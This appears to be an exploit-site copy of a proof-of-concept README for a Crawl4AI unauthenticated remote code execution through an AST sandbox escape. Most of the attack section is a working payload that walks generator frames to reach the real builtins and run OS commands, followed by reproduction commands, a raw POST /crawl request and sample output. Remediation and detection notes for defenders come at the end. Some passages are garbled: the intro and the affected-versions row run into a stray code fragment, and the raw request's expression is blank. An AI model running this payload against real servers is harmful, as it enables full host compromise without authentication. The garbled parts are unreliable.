## https://sploitus.com/exploit?id=745E87EB-2F7B-5DE3-8689-0B856028F54D
# CVE-2026-53753 — Crawl4AI Unauthenticated Remote Code Execution (AST Sandbox Escape)
> Pre-authentication RCE in **Crawl4AI ` expression evaluator (`_safe_eval_expression`). A crafted
> `JsonCssExtractionStrategy` schema sent to the unauthenticated `POST /crawl`
> endpoint escapes the AST allow-list through Python frame objects and reaches
> the real `builtins`, yielding `__import__('os').popen().read()`.
| | |
|---|---|
| **CVE** | CVE-2026-53753 |
| **Advisory** | [GHSA-qxjp-w3pj-48m7](https://github.com/advisories/GHSA-qxjp-w3pj-48m7) |
| **Affected** | Crawl4AI `", "eval"),
{"__builtins__": _SAFE_EVAL_BUILTINS}, local_vars)
```
Three gaps combine into a full escape:
1. Frame-walk attributes **`gi_frame`, `f_back`, `f_builtins`** do **not** start with `_`.
2. The builtins key **`__import__`** is reached by **dict subscript** (`['__import__']`),
which is an `ast.Subscript` node — never inspected by the validator.
3. Walking a **running generator's** frame chain via `f_back` leaves the sandboxed
`_SAFE_EVAL_BUILTINS` and reaches the **real** `builtins` of an outer frame.
## The payload
```python
(lambda: (
(g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__']('os').popen('id').read()
for i in [1])),
list(g)
)[-1])()
```
* The generator `g` references **itself** (bound via `:=` inside a `lambda` so the
closure cell exists). While `list(g)` drives it, `g.gi_frame` is the **live**
running frame, so `.f_back` is populated.
* `f_back × 3`: running genexpr frame → sandboxed `eval` frame → `_safe_eval_expression`
frame (which has the **real** builtins).
* `os.popen(cmd).read()` returns the command's stdout, which becomes the computed
field value and is reflected **in-band** in the `/crawl` JSON response.
## Reproduce
```bash
# 1. Start the vulnerable server (official image, default = no auth)
docker compose -f lab/docker-compose.yml up -d # or: docker run -d --network host unclecode/crawl4ai:0.8.6
# 2. Fire the exploit (in-band output)
python3 poc/exploit.py http://127.0.0.1:11235 -c "id; uname -a"
# inspect the raw request body without sending it:
python3 poc/exploit.py http://127.0.0.1:11235 -c "id" --print-payload
```
Observed response (`extracted_content`):
```json
[ { "out": ["uid=999(appuser) gid=999(appuser) groups=999(appuser)\nLinux ... x86_64 GNU/Linux\n"] } ]
```
The returned data is live OS state (`id`/`uname` output, uid **999 = container's
`appuser`**), not an echo of the request — confirming genuine code execution inside
the container.
## Raw HTTP request
```http
POST /crawl HTTP/1.1
Host: 127.0.0.1:11235
Content-Type: application/json
{"urls":["raw://hi"],
"crawler_config":{"type":"CrawlerRunConfig","params":{"extraction_strategy":
{"type":"JsonCssExtractionStrategy","params":{"schema":{"name":"pwn","baseSelector":"div",
"fields":[{"name":"out","type":"computed","expression":""}]}}}}}}
```
## Impact
Any network-reachable client can execute arbitrary OS commands on the Crawl4AI host
with no authentication (default deployment). Full compromise of confidentiality,
integrity and availability of the server and any reachable internal resources.
## Remediation
* Upgrade to **Crawl4AI ≥ 0.8.7**, which removes `_safe_eval_expression` and disables
the `expression` computed-field key entirely (use the `function` key with a vetted
Python callable instead).
* Defence in depth: enable JWT (`jwt_enabled: true` + `api_token`), and never expose
the Crawl4AI API directly to untrusted networks.
## Detection
Look for `POST /crawl` (or `/crawl/stream`) bodies containing
`gi_frame`, `f_back`, `f_builtins`, or a `computed` field with an `expression` key.
---
### Disclosure / credits
* PoC author: **Caio Fabrício** — [github.com/BiiTts](https://github.com/BiiTts)
* Vulnerability credit belongs to the original CVE/advisory reporter; this repository
is an independent reproduction and PoC for defensive and educational use.
* **AI-assistance disclosure:** this PoC was developed with AI assistance (Claude),
consistent with coordinated-disclosure policy for AI-assisted findings.
* For authorized security testing only.